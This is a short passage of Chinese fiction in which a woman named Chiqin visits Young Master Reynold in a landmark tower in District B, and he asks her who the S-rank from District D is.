进入B区最为高耸的地标级建筑,在准备区清洗过身体,更换了衣裳。按下电梯,在短暂的失重感后,她来到那扇熟悉的房门前。 在她做好准备之前,房门已经打开了。 “雷诺少爷。” 赤琴露出笑容。 “我让你打听的,你打听到了吗?” 雷诺倚靠沙发,背对赤琴看着投影屏幕,头也不回地问: “那个D区的S级,是谁?”